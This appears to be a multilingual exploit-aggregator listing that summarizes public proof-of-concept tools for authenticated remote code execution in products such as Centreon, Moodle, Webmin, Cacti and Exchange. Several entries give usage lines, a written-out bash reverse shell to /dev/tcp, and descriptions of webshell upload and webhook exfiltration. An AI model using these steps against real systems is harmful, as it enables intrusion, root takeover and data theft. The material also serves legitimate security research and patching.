CVE-2018-18852

CERIOルーター Authenticated RCE ベンダーバックドア認証情報 CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, Twitter: @hooks3c CVE-2018-18852の動作するPython PoC。元は以下にあります: https://github.com/hook-s3c/CVE-2018-18852 概要 CERIOルーターのモデルおよびバリアント（DT300N、DT100G、AMR-3204、WMR-200N）は、認証されたWebベースのRCEに対してrootユーザーとして脆弱です。...

CVE-2026-26119

CVE-2026-26119 WAC RCE - CVE-2026-26119 Windows Admin Center authenticated RCE via WinREST/PowerShell invokeCommand. Usage: root@kitploit: python3 wacrce.py "" WACPASS= python3 wacrce.py Env: root@kitploit: WACBASE - override target base URL default below WACPASS - password, used if not passed...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous に移動します。 続いて、下の画像のように Add をクリックします。 それでは bash リバースシェル を Miscellaneous コマンドとして作成します。 root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 そして Save をクリックします。 次に Configuration Pollers に移動し、現在の Central ポーラーをクリックします。 これにより、Modify a poller Configurati...

CVE-2023-30854

WWBN Avideo 認証済みRCE - OSコマンドインジェクション CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; 管理者パネルのクローンサイト機能を通じて、$objClone-cloneSiteURL を制御できます。...

CVE-2023-32073

WWBN AVideo currentVersion RCE autenticado Existe una vulnerabilidad de inyección de comandos en plugin/CloneSite/cloneClient.json.php que permite la ejecución remota de código si tienes el plugin CloneSite. Esto es una evasión de la corrección para CVE-2023-30854 que afecta a WWBN Avideo hasta l...

POC-CVE-2025-68613

描述 针对 N8N 已认证 RCE 漏洞 CVE-2025-68613 的 PoC 漏洞利用代码 使用方法 python3 poc.py -u -c...

DolibabyPhp

DolibabyPhp 针对 Dolibarr ERP/CRM CVE-2023-30253 的认证 RCE 漏洞利用程序。 安装 你可以使用 pip 从 PyPi 仓库安装该包，或者直接从 GitHub git clone 源码。 root@kitploit: pip install dolibabyphp 用法 root@kitploit: Usage: dolibabyphp OPTIONS TARGETURL USERNAME PASSWORD COMMAND ARGS... This exploit will log into the Dolibarr web server a...

CVE-2025-14700-poc

CVE-2025-14700 POC Crafty Controller --login --password --lhost --lport 此脚本使用 netcat 在触发反向 Shell 载荷后设置监听器。如果您的监听机器上没有 netcat，它将无法工作。...

Moodle-authenticated-RCE

Moodle 4.4.0 - 認証済みリモートコード実行 CVE-2024-43425 エクスプロイト CVE: CVE-2024-43425 影響を受けるバージョン Moodle 4.4 ～ 4.4.1 Moodle 4.3 ～ 4.3.5 Moodle 4.2 ～ 4.2.8 Moodle 4.1 ～ 4.1.11 説明 このエクスプロイトは、上記にリストされたMoodleバージョンにおける認証済みリモートコード実行（RCE）脆弱性を標的としています。これにより、有効な認証情報を持つ攻撃者が、安全でない問題バンク編集機能を悪用して、サーバー上で任意のコマンドを実行できるようになります...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 認証済みRCEエクスプロイトツールキット ScadaBR 1.1.0 を標的としたモジュール式の認証後RCEエクスプロイトで、レッドチーム運用向けに機能強化されました。 機能 viewedit.shtm を介して武器化された .jsp シェルをアップロード Linux および Windows ペイロードに対応 SOCKS5 / HTTP プロキシ対応 リバースシェルトリガー（標準または base64） 列挙モジュール（DB、認証情報、Log4Shell など） Webhook データ外部送信（Slack / Discord）...

CVE-2020-0688_EXP

CVE-2020-0688EXP CVE-2020-0688EXP 自動トリガーペイロード root@kitploit: python3 CVE-2020-0688EXP.py -h usage: CVE-2020-0688EXP.py -h -s SERVER -u USER -p PASSWORD -c CMD -e optional arguments: -h, --help このヘルプメッセージを表示して終了 -s SERVER, --server ECPサーバーのURL 例: http://ip/owa -u USER, --user USER ログインアカウント 例:...

CVE-2019-15107-Scanner

Webmin CVE-2019-15107 脆弱性スキャナー WebminサーバーがCVE-2019-15107（Webminバージョン1.890から1.920における認証済みRCE脆弱性）に対して脆弱かどうかを検出するマルチスレッドPythonスキャナーです。 説明...

CVE-2026-50979

CVE-2026-50979：oPanel 中经过身份验证的远程代码执行 概述 CVE ID： CVE-2026-50979 产品： oPanel 受影响版本： v1.19.50 及更早版本 漏洞类型： 经过身份验证的命令注入 / 远程代码执行（RCE） 易受攻击的组件： /advanced/curl 端点 严重性： 严重 描述 oPanel（v1.19.50 及更早版本）的 advanced/curl 端点存在命令注入漏洞。应用程序在将用户提供的 url 参数传递给系统底层的 curl 执行例程之前，未能对其进行充分的清理（sanitize）。 经过身份验证的攻击者可以使用 shell...

Limesurvey-RCE

Limesurvey-RCE LimeSurvey 认证 RCE 概念验证： 1. 创建你的文件（config.xml 和 PHP 反向 shell 文件） 2. 使用这些文件创建归档文件 3. 使用凭据登录 4. 前往 配置 - 插件 - 上传并安装 5. 选择你的 zip 文件 6. 上传 7. 安装 8. 激活插件 9. 启动你的监听器 10. 访问 url+upload/plugins/Name/Shellfilename 11. 获得反向 shell :shipit: 你可以使用 exploit.py 进行自动利用。 用法：python exploit.py URL 用户名 密...

CVE-2019-9624

CVE-2019-9624 针对 Webmin 1.9.0 的认证 RCE Webmin 1.900 认证 RCE - CVE-2019-9624 漏洞利用 1. 漏洞描述 CVE-2019-9624 是 Webmin 1.900 及之前版本中的一个认证远程代码执行 RCE 漏洞。它允许管理员用户通过 shell 或 file 模块以 root 权限 执行任意系统命令。 2. 技术执行流程 步骤 1: 认证与会话管理 Webmin 使用自定义认证处理器。要成功进行自动化登录，需要满足以下条件： 测试 Cookie: 必须发送 testing=1 的 Cookie 以满足 Webmin...

CVE-2025-60787

CVE-2025-60787 — motionEye 認証済みRCE CVE-2025-60787 の認証済みコマンドインジェクション PoC です。motionEye v0.43.1b4 以前は、imagefilename などのユーザー制御のカメラ設定値を十分なサニタイズなしに Motion 設定に書き込むため、値が処理されるとコマンド実行が可能になります。 承認されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 機能 root@kitploit: Signed API request -...

ipfire-2-25-auth-rce

Ipfire 2-25（核心更新 156）经过身份验证的远程代码执行 安装任意软件包时系统会运行命令 系统仅从 HTML 中获取 7zip 并检查 tmp 目录 版本 2.25 - 核心更新 156 ipfire 允许登录后以 nobody 身份运行任意操作系统命令 获取 root 权限！ 检查 suid 二进制文件 backup 程序会运行另一个脚本。/var/ipfire/backup/bin/backup.pl（它是一个 bash 脚本，权限看起来不错） 尝试写入 bash 脚本。（没有错误。很好！） 尝试运行 bash...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - 任意文件写入致 RCE 🌵 已认证的 RCE Cacti 版本 v1.2.26 摘要 一个任意文件写入漏洞，可通过“包导入”功能加以利用，允许具有“导入模板”权限的已认证用户在 Web 服务器上执行任意 PHP 代码（远程代码执行）。 概念验证 用法 root@kitploit: git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26 pip...

CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server

CVE-2025-34322 y CVE-2025-34323 Nagios Log Server Exploits de Prueba de Concepto para CVE-2025-34322 y CVE-2025-34323 en Nagios Log Server, junto con un script combinado para obtener una shell como root. CVE-2025-34322 Después de la autenticación, reemplaza tu ID de sesión en estos dos comandos...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742 における認証済みRCE 管理者権限を持つ攻撃者は、悪意のあるPHPドキュメントをアップロードできます。base64でエンコードされたファイルの場所をデコードすることで、ユーザーはapacheユーザーとしてシェルを取得できます。 発見者: TheCyberGeek PoC Pythonスクリプト root@kitploit: Usage: python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL Ex: python3 CVE-2020-5844.py...